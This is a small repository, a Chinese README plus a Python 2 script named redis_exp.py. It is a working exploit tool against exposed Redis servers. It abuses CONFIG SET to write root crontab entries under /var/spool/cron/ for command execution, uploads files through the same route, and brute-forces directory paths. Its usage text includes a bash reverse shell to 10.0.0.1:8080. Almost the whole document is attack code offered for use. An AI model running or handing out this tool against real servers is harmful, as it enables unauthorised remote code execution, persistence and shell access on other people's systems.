├── README.md └── redis_exp.py /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | * 执行命令 4 | 5 | 需要root权限,每次添加计划任务前先获取服务器时间,然后根据获取的时间设置执行计划任务的时间,确保命令被执行一次,避免多次执行引发服务器异常。 6 | * 上传文件 7 | 8 | 上传携带脏数据的文件不需要root权限,上传二进制文件需要root权限,先上传带有脏数据的文件,在文件前后插入特征字符串,然后添加计划任务截取数据 9 | * 目录猜解 10 | 11 | 不需要root权限,利用 config set dir ‘xx’ 报错进行目录猜解 12 | 13 | 14 | 15 | redis相关利用介绍 16 | http://www.00theway.org/2017/03/27/redis_exp/ 17 | -------------------------------------------------------------------------------- /redis_exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf8 -*- 3 | #@author: 00theway 4 | #@file: redis_exp.py 5 | #@time: 2017/3/29 下午6:40 6 | 7 | import redis,sys,time 8 | from optparse import OptionParser 9 | 10 | class REDIS_EXP: 11 | def __init__(self,host,port=6379): 12 | self.host = host 13 | self.port = port 14 | 15 | self.INFO = 0 16 | self.ERROR = 1 17 | 18 | self.default = {'dir':'', 19 | 'dbfilename':'', 20 | 'rdbcompression':''} 21 | 22 | self.crond = '' 23 | self.r = redis.StrictRedis(host=self.host, port=self.port, db=0) 24 | try: 25 | self.get_default_config() 26 | self.output("default config:",self.INFO) 27 | self.output("dir:"+ self.default['dir'], self.INFO) 28 | self.output("dbfilename:" + self.default['dbfilename'], self.INFO) 29 | self.output("rdbcompression:" + self.default['rdbcompression'], self.INFO) 30 | 31 | except Exception,e: 32 | self.output("get default config",self.ERROR) 33 | self.output(e.message,self.ERROR) 34 | sys.exit(1) 35 | 36 | # recover config 37 | def __del__(self): 38 | self.r.config_set('dir', self.default['dir']) 39 | self.r.config_set('dbfilename', self.default['dbfilename']) 40 | self.r.config_set('rdbcompression', self.default['rdbcompression']) 41 | 42 | def output(self,msg,level=0): 43 | if level == self.ERROR: 44 | print "\033[31;3m [ERROR] %s \033[0m" % (msg) 45 | if level == self.INFO: 46 | print "\033[32;3m [INFO]%s \033[0m" % (msg) 47 | 48 | # call before execute 49 | def generate_crond(self,command,time_delay): 50 | server_time = self.r.time()[0] + time_delay * 60 51 | m_time = time.localtime(server_time) 52 | 53 | m_min = m_time.tm_min 54 | m_mon = m_time.tm_mon 55 | m_day = m_time.tm_mday 56 | m_hour = m_time.tm_hour 57 | 58 | self.crond = '\n\n%s %s %s %s * %s\n\n' % (m_min, m_hour, m_day, m_mon, command) 59 | 60 | 61 | # call at init 62 | def get_default_config(self): 63 | default = self.r.config_get() 64 | self.default = default 65 | pass 66 | 67 | # call after set_local_file and set_remote_file 68 | def upload_file(self,local_file,remote_file): 69 | separator = '3b762cc137d55f4dcf4fe184ccc1dc15' 70 | self.output('uploading files',self.INFO) 71 | try: 72 | data = open(local_file,'rb').read() 73 | except Exception,e: 74 | self.output("open file %s error" % (local_file),self.ERROR) 75 | self.output(e.message,self.ERROR) 76 | sys.exit(1) 77 | 78 | m_data = '\n%s%s%s\n' % (separator,data,separator) 79 | 80 | try: 81 | self.r.config_set('dir','/tmp/') 82 | except Exception,e: 83 | self.output('config set dir /tmp/',self.ERROR) 84 | self.output(e.message,self.ERROR) 85 | sys.exit() 86 | 87 | self.r.config_set('dbfilename','0ttt') 88 | self.r.config_set('rdbcompression','no') 89 | self.r.flushall() 90 | self.r.set('data',m_data) 91 | self.r.save() 92 | 93 | #recover db config 94 | self.r.delete('data') 95 | 96 | command = '''python -c 'open("%s","ab+").write(open("/tmp/0ttt","rb").read().split("%s")[1])' ''' % (remote_file,separator) 97 | self.execute(command) 98 | self.output('file upload done',self.INFO) 99 | 100 | # call after set_command 101 | def execute(self,command,time_delay=2): 102 | self.generate_crond(command,time_delay) 103 | try: 104 | self.r.config_set('dir','/var/spool/cron/') 105 | except Exception,e: 106 | self.output('config set dir /var/spool/cron',self.ERROR) 107 | self.output(e.message,self.ERROR) 108 | sys.exit() 109 | self.r.config_set('dbfilename','root') 110 | self.r.flushall() 111 | self.r.set('shell',self.crond) 112 | self.r.save() 113 | self.r.delete('shell') 114 | 115 | self.output('cron set ok',self.INFO) 116 | 117 | for i in range(time_delay * 60): 118 | sys.stdout.write('\r\033[32;3m [INFO] wait {0}seconds for command execute \033[0m'.format((time_delay * 60) - i)) 119 | sys.stdout.flush() 120 | time.sleep(1) 121 | print '' 122 | 123 | self.output('command execute done',self.INFO) 124 | 125 | def broute_dir(self,dirs_file): 126 | self.output("broute dir") 127 | try: 128 | dirs = open(dirs_file).readlines() 129 | except Exception,e: 130 | self.output('open file %s error' % dirs_file,self.ERROR) 131 | self.output(e.message,self.ERROR) 132 | sys.exit() 133 | 134 | for d_path in dirs: 135 | d_path = d_path.strip() 136 | try: 137 | self.r.config_set('dir',d_path) 138 | print '[path exests]',d_path 139 | except Exception,e: 140 | if "Permission denied" in e.message: 141 | print '[Permission denied]',d_path 142 | else: 143 | pass 144 | 145 | 146 | 147 | 148 | def get_paras(): 149 | usage = '''python redis_exp.py --host *.*.*.* [options] 150 | command execute:python redis_exp.py --host *.*.*.* -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1" 151 | file upload:python redis_exp.py --host *.*.*.* -l /data/reverse.sh -r /tmp/r.sh 152 | path brute fource:python redis_exp.py --host *.*.*.* -f /data/path.txt''' 153 | parser = OptionParser(usage) 154 | parser.add_option('--host',dest='host',help='the redis ip') 155 | parser.add_option('-p',dest="port",type='int',default=6379,help="the redis port,default is 6379") 156 | 157 | parser.add_option('-f',dest="file",help="file path to brute fource") 158 | parser.add_option('-l',dest="l_file",help="local file to upload") 159 | parser.add_option('-r',dest="r_file",help="remote path to store file") 160 | parser.add_option('-c',dest="command",help="the command to execute") 161 | parser.add_option('-t', dest="time_delay",type='int',default=2,help="the time between crontad created and command execute,default 2mins") 162 | 163 | (options, args) = parser.parse_args() 164 | 165 | 166 | 167 | arg_host = options.host 168 | arg_port = int(options.port) 169 | 170 | if arg_host == None or arg_port == None: 171 | print "\033[31;3m [ERROR] %s \033[0m" % 'host or port error' 172 | print usage 173 | sys.exit() 174 | 175 | arg_command = options.command 176 | arg_time_delay = options.time_delay 177 | 178 | arg_l_file = options.l_file 179 | arg_r_file = options.r_file 180 | 181 | arg_dirs_file = options.file 182 | 183 | if arg_command == None and (arg_l_file == None or arg_r_file==None) and arg_dirs_file == None: 184 | print "\033[31;3m [ERROR] %s \033[0m" % 'need options' 185 | print usage 186 | sys.exit() 187 | 188 | paras = {'host':arg_host, 189 | 'port':arg_port, 190 | 'command':arg_command, 191 | 'time_delay':arg_time_delay, 192 | 'l_file':arg_l_file, 193 | 'r_file':arg_r_file, 194 | 'dirs_file':arg_dirs_file} 195 | return paras 196 | 197 | 198 | 199 | 200 | 201 | if '__main__' == __name__: 202 | paras = get_paras() 203 | 204 | host = paras['host'] 205 | port = paras['port'] 206 | command = paras['command'] 207 | time_delay = paras['time_delay'] 208 | l_file = paras['l_file'] 209 | r_file = paras['r_file'] 210 | dirs_file = paras['dirs_file'] 211 | r = REDIS_EXP(host,port) 212 | if command != None: 213 | r.execute(command,time_delay) 214 | elif dirs_file != None: 215 | r.broute_dir(dirs_file) 216 | else: 217 | r.upload_file(l_file,r_file) 218 | 219 | 220 | 221 | 222 | --------------------------------------------------------------------------------